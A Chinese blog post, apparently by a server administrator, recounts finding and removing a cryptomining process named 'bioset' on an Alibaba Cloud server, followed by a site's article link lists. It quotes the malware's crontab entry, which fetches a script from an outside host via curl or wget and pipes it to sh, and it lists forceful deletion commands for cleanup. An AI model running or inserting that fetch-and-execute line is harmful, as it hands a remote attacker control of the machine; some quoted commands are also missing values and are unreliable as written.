1.问题出现

一大早刚起床,阿里云就给我发了一条短信,提醒我服务器出现紧急安全事件:挖矿程序

阿里云“贴心”地提供了解决方法,不过需要购买企业版的安全服务,本着能自己动手就不花钱原则自己搞了起来

于是赶紧上网查资料解决,相似的问题好多,都是被这些脚本变成了挖矿的“肉鸡”

2.问题排查

1)首先top命令查看到占用CPU最多的进程bioset,判断这个就是所谓的挖矿进程

这里经过网上资料提醒,经过攻击后控制台输出变得不可信,因为病毒很可能重定向或者篡改、隐藏你的输出,有一个busybox可以解决这一问题,这里因为我没有出现这种情况所以没用。

kill掉进程,过一会也会继续出现,说明存在守护进程或者定时同步机制。

2)通过进程名寻找文件目录

[root@hadoop1 sbin]# find / -name '*bioset*'
/var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/vje9c1vlq/bk20vm2o/xCkB12/bioset

该目录下存在一个proc_1的脚本文件,推测是守护脚本,直接删除也不行(还有同步机制,接着看)

3)使用 crontab -l 查询任务项,果然有猫腻

[root@hadoop1 sbin]# crontab -l
*/ * * * * (curl -fsSL --retry -m180 "http://dl.djangocc.com:8080/p?a=p&a2=cron"||wget -q --tries= -T180 -O- "http://dl.djangocc.com:8080/p?a=p&a2=cron")|sh

该病毒会每10分钟从djangocc.com上下载shell脚本并执行,这里不能直接执行crontab -e,进去后删除,然后保存退出。这方法压根不行,因为还会继续添加。

3.问题解决

1)先关掉定时crond

systemctl stop crond #关掉定时
systemctl disable crond.service #关掉定时开机自启动

2)删除crontab文件

rm -rf /var/spool/cron/root

3)删除病毒文件

rm -f /var/tmp/.systemd-private-c15c0d5284bd838c15fd0d6c5c2b50bb-systemd-resolved.service-xCkB12/*

4)根据之前top的病毒PID停止进程

kill - 

5)执行crontab -e进去将所有内容删除,保存退出

crontab -e

6)重启监测,到这里top发现没有bioset,CPU占用也正常

(不过提醒下,可以去阿里云后台再确认下CPU运行是否正常)

参考:

https://www.sunjs.com/article/detail/62c7ba45975946f89b3a1cd574a4856e.html

最新文章

  1. serialize和unserialize函数
  2. 9.7 js进阶总结2
  3. tomcat session cluster
  4. banner秒杀
  5. JavaScript闭包学习笔记
  6. paip.检测信用卡账单数据的正确性算法
  7. 第四次个人作业——关于微软必应词典android客户端的案例分析
  8. 转义字符和ASCII
  9. 对TextView设置drawable,用setCompoundDrawables方法实现
  10. Python档案袋(生成器、迭代器、队列 )
  11. oracle锁表与解表
  12. laravel 控制器类DB类操作
  13. Python【每日一问】12
  14. Table 'performance_schema.session_variables' doesn't exist错误的一
  15. bootstrap modal垂直居中(简单封装)
  16. 在子页面操作父页面元素和iframe说明
  17. if 嵌套if 的先后顺序的区别 (自测)
  18. javascript 中Array.prototype.sort 函数的用法
  19. 【php 之获得当前日期以及比较日期大小】
  20. bzoj千题计划189:bzoj1867: [Noi1999]钉子和小球

热门文章

  1. ubuntu安装扩展在phpinfo显示不出来的解决办法
  2. POJ1990--POJ 1990 MooFest(树状数组)
  3. linux修改ulimit参数
  4. Jmeter函数 参数
  5. DB 分库分表(1):拆分实施策略和示例演示
  6. linux安装mysql可视化界面
  7. SpringBoot2.X&Prometheus使用
  8. js版的虚线框
  9. Android jni/ndk编程一:jni初级认识与实战体验
  10. ViewGroup的事件机制